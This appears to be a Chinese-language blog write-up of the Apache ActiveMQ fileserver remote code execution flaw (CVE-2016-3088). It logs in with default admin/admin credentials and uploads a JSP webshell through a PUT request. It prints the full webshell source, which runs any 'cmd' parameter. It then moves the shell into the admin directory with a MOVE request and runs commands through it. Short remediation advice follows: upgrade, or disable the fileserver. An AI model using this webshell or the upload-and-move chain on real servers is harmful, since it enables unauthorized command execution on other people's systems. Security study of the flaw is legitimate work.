Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析

部署ActiveMQ运行环境

在linux上部署apache-activemq-5.10.0-bin.tar.gz

通过tar -zxvf  apache-activemq-5.10.0-bin.tar.gz解压mq

 

由于是弱密码,所以可以直接密码登录admin/admin

注意:

如果是密码错误或者不输入密码,则显示如下

 

 

输入正确的密码后,通过BurpSuite抓包如下

抓包如下:

改成PUT方法:

此时,htxk.jsp内容为空

重新生成htxk.jsp,文件内容为jsp一句话木马

<%@ page import="java.io.*"%>
<%
    out.print("Hello</br>");
    String strcmd = request.getParameter("cmd");
    String line =null;
    Process p=Runtime.getRuntime().exec(strcmd);
     InputStream is = p.getInputStream();
      BufferedReader br = new BufferedReader(new InputStreamReader(is));
    while((line =br.readLine())!=null){
        out.print(line+"<br>");
    }
%>

 

查看是否可以执行

可惜没有权限执行

爆出mq的绝对路径

然后利用 MOVE 方法将 Webshell 移入 admin/ 目录(也可以利用相对路径)

MOVE /fileserver/htxk.jsp HTTP/1.1
Destination: file:///home/local/apache-activemq-5.10.0/webapps/admin/htxk.jsp
Host: 192.168.10.106:8161

访问http://192.168.10.106:8161/admin/htxk.jsp?cmd=ls ,命令成功执行,效果如下

解决方法:

5. 漏洞防护方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

修复成功

 

存在漏洞的配置:

 

 

https://paper.seebug.org/346/

https://www.seebug.org/vuldb/ssvid-96268

 

posted @ 2017-09-11 14:32  Agoly  阅读(818)  评论(0编辑  收藏  举报